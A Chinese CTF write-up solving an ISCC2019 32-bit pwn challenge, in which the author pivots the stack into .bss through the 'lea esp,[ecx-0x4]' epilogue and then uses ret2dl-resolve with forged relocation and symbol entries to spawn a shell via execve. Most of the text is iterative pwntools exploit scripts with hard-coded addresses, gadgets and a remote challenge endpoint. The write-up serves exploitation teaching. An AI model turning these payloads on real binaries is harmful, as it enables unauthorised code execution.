在PWN题中绕过lea esp以及关于Ret2dl的一些补充

阅读量    111671 | 评论 2   稿费 370

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

概述:ISCC2019的一道pwn题,对选手32位下的ret2dl的考察,之前投稿过一篇ret2dl的文章,但是具体调试阶段和原理讲解的都不是很周到。本文会根据做题的调试过程进行解析,介绍其中如何利用lea esp控制栈帧,以及如何调试一个伪造的重定向结构。

目录:
0x00 程序分析
0x01 stack povit
0x02 对Rel2dl的一些补充
0x03 纠错

 

0x00程序分析

拿到程序,按照惯例放入IDA,发现一个超级明显的栈溢出,而且还能输入超长的字符串。但是程序又不存在可以用ROP来调用的危险函数。
这就是明显给我们构造ret2dl提供方便嘛,否则必须要写一段调用一下read,很麻烦。但是这道题刚开始的关键还不在retdl这个技术上。

观察一下反汇编,发现ret的上一条命令是lea esp,[ecx-0x4],而不是leave。

  0x080484b1 <main+91>:    pop    ecx
  0x080484b2 <main+92>:    pop    ebx
  0x080484b3 <main+93>:    pop    ebp
  0x80484b4 <main+94>:    lea    esp,[ecx-0x4]
=> 0x80484b7 <main+97>:    ret

根据之前的经验,这个程序应该是在64位下编译的32位程序,大佬说这是i386的平栈方式。main函数的ret,一旦覆盖大量的数据,就会导致栈顶地址出错。所以之前我一直认为是无法溢出成功的。因为一旦溢出大量数据,也会修改ECX的值,导致ESP的值出问题。

如下图所示。

#PS:lea esp,[ecx-0x4] 实际上就是将ecx-0x4的值赋给ESP

ESP=ECX(0x41414141-0x4)=0x4141413d

实际上在x64下编译的x86程序在ret前都会产生这一段代码。在我们使用栈溢出利用的时候,会导致栈帧出错。刚开始的初学者很容易一筹莫展(比如以前的我),因为无法完成一次EIP覆写。但是实际上,反复调试了几遍之后,就发现这道题并非不可利用。

其实既然ECX对ret时的ESP能产生直接影响,那么通过控制ECX也能间接控制ESP

只需要找到pop ecx 时候对应的栈顶,就能控制ECX。进而控制整个栈帧。

下面给出脚本。

 

0x01 stack povit

stack povit目的是伪造ecx控制esp的流程,而本题的lea ecx正好提供了绝妙的方案。

from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
payload="A"*0xe
payload+=p32(0xffffd060) #控制ecx
p.sendline(payload)
p.interactive()

以上代码成功控制了ecx,使得栈顶没有乱跑。

但是因为栈空间的随机化,导致对esp的控制没有了意义。因为每次ret时候,栈顶的位置都不确定

所以必须要到一个地址可控的区域,第一个想到的就是bss段。

通过find,发现buf的参数也是存放在bss段中。

直接伪造ecx,让栈指向到bss段中

from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(Address)

p.sendline(payload)
p.interactive()

成功控制esp指向bss段

改变了ESP,现在通过gadget让EBP也进入bss段。

from pwn import *

p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800

gadget1=0x0804851b #pop ebp |ret

#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(gadget1)
payload+=p32(base_stage)

p.sendline(payload)

#fake_struct

p.interactive()

到此,我们已经完成了对栈的完全控制,将栈转移到了bss这个地址固定的段。

 

0x02对Rel2dl的一些补充

FAKE_REL部分

解决问题:实际调试时候,如何判断自己伪造的结构被程序读取。

从plt表中跳入dl_reslove函数时候dl_resolve会根据你的reloc_argc找到你的JMPREL结构(我们伪造的)

伪造的r_info 可以先写0x107 ,看看能不能解析真正的read函数。如果不行说明伪造的结构有问题。

源代码如下

   0xf7fee000:    push   eax
   0xf7fee001:    push   ecx
   0xf7fee002:    push   edx
   0xf7fee003:    mov    edx,DWORD PTR [esp+0x10]
   0xf7fee007:    mov    eax,DWORD PTR [esp+0xc]
=> 0xf7fee00b:    call   0xf7fe77e0

函数通过加粗代码,将linkmap和reloc_arg分别存入edx和eax,然后call dl_fixup。

所以只需要判断call的时候edx和eax的值是不是我们传入的值就能判断,结构伪造是否成功。

实际调试

Py脚本(不完整版本,仅部分实现)

# -*- coding: utf-8 -*-
from pwn import *

p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00

gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 #  pop esi ; pop edi ; pop ebp ; ret

#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(gadget1)
payload+=p32(base_stage)
#p.sendline(payload)

#fake_struct
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=buf+0x200-rel_plt #fake_rel放后面一些,防止被出栈入栈覆盖
dynsym=0x080481cc
dynstr=0x0804822c
r_offset=0x0804a00c #read_got
r_info=0x107

fake_rel=p32(r_offset)+p32(r_info)
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*(0x200-len(payload)) #fake_rel的位置
payload+=fake_rel #buf+0x200

p.sendline(payload)
p.interactive()

传送reloc没问题

EAX=0xf7ffd918 #link_map
EDX=0x1db2 #reloc_argc

然后就进入call 0xf7fe77e0了,应该会读取我们伪造的REL结构了。但是执行到push esi的时候。

一开始以为是我们结构构造错误,但是自己观察报错。

发现提示SIGSEGV,即段错误。

再仔细一看,现在的栈已经下降到了0x804a002了,已经从bss段下降到了其他不可写的段,直接导致了段错误。

主要原因是因为我图方便,把bss的首地址作为了栈顶。解决方案就是在程序开始的时候就大幅度提高栈的地址。#这个图方便导致我卡了一个半个小时

于是提高栈空间重新写一下exp

# -*- coding: utf-8 -*-
from pwn import *

p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500

gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 #  pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)

#struct

plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=0x804a862-rel_plt #放后面一些,否则会被覆盖
dynsym=0x080481cc
dynstr=0x0804822c
r_offset=0x0804a00c #read_got
r_info=0x107

fake_rel=p32(r_offset)+p32(r_info)
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+=fake_rel

p.sendline(payload)
p.interactive()

可以看到call结束之后,直接进入了read函数。

因为我们赋给r_info =0x107,正好读取了read的SYM结构

FAKE_SYM部分

经验:在写ret2dl方法的时候,一般不是一气呵成的。先尝试把数据布置在bss段中,然后调试程序,确定代码的位置,然后再修改reloc_arg、fake_rel和fake_sym结构里面的参数到正确的位置。否则,一下子是很难拿写出来的。

Q1:程序退出,0177这种报错,说明是查找dysn,却没有找到对应的内容。需要重新检查构造的SYM结构。

Q2:SIGSEGV报错,还是一样的栈过低问题。也可能是r_info读取位置错了,读到其他段里面去了。

Q3:symbol lookup error ,读取sym结构错误,(ECX中显示)应该是读取的位置不正确。

根据前文,我们可以写出一个满是补丁的EXP,并且包含大量硬编码。

# -*- coding: utf-8 -*-
from pwn import *

p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500

gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 #  pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 # leave ;ret
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)

#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4

reloc_arg=0x804a862-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got

fake_sym_addr=0x804a86a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107

fake_rel=p32(r_offset)+p32(r_info)

payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+=fake_rel

st_name=0x804a87c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload+="B"*align
payload+=fake_sym
payload+="systemx00"


p.sendline(payload)
p.interactive()

成功重定位read为system函数

但是参数布置依旧很麻烦

解决方案就是在payload+=p32(reloc_arg)后面添加4个字节任意数和/bin/sh的地址。

这样弹出shell之后,程序的参数正好指向/bin/sh

代码如下:

# -*- coding: utf-8 -*-
from pwn import *

p=process('./pwn01')
#p=remote('39.100.87.24',8101)
gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500

gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 #  pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)

#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4

reloc_arg=0x804a872-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got

fake_sym_addr=0x804a87a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107

fake_rel=p32(r_offset)+p32(r_info)
bin_sh=0x804a8e3
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*4
payload+=p32(bin_sh)#set argc
payload+="A"*8
payload+=fake_rel

st_name=0x804a88c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload+="B"*align
payload+=fake_sym
payload+="systemx00"
payload+="A"*80
payload+="/bin/shx00"

p.sendline(payload)
p.interactive()

但是依旧没弹出shell,参数和system都没有错。

后来忽然脑海里想象出了大师傅的一句话,用execve,别用system。

于是,换成execve就解决了[execve要设置三个参数/bin/sh ,0 ,0]

最终脚本:

# -*- coding: utf-8 -*-
from pwn import *

#p=process('./pwn01')
p=remote("39.100.87.24",8101)
#gdb.attach(p,'b *0x80484b1')

Address=0x12345678
fake_ecx=0x804a05a

buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500

gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 #  pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)

#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4

reloc_arg=0x804a872-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got

fake_sym_addr=0x804a87a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107

fake_rel=p32(r_offset)+p32(r_info)
bin_sh=0x804a8e3
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*4
payload+=p32(bin_sh)#set argc #之前的wp里面写错了
payload+=p32(0)+p32(0)
payload+=fake_rel

st_name=0x804a88c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload+="B"*align
payload+=fake_sym
payload+="execvex00"
payload+="A"*80
payload+="/bin/shx00"
payload+="A"*20

p.sendline(payload)
p.interactive()

但是远程服务器还是不行,据说是服务器控制只能一次输入200字节,导致我们这个超长的payload没有用武之地。如果要服务器上实现,只需要将payload分开,每次再payload结尾调用read再次读取数据到栈中。

 

0x03 纠错:

之前投稿到安全客的文章,写时候没多想,第四行的注释写错了。

Base_stage+80实际上是/bin/sh的位置,做传参之用。

Ret2dl的原理在上一篇文章里做了浅显的解析。

文章投稿到了安全客,可以点击此处查看。

 

资源下载

这次的pwn题案例放在github上了

个人整理的pwn题 下载地址

更多的pwn题分析可以访问我的个人博客 https://migraine-sudo.github.io/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多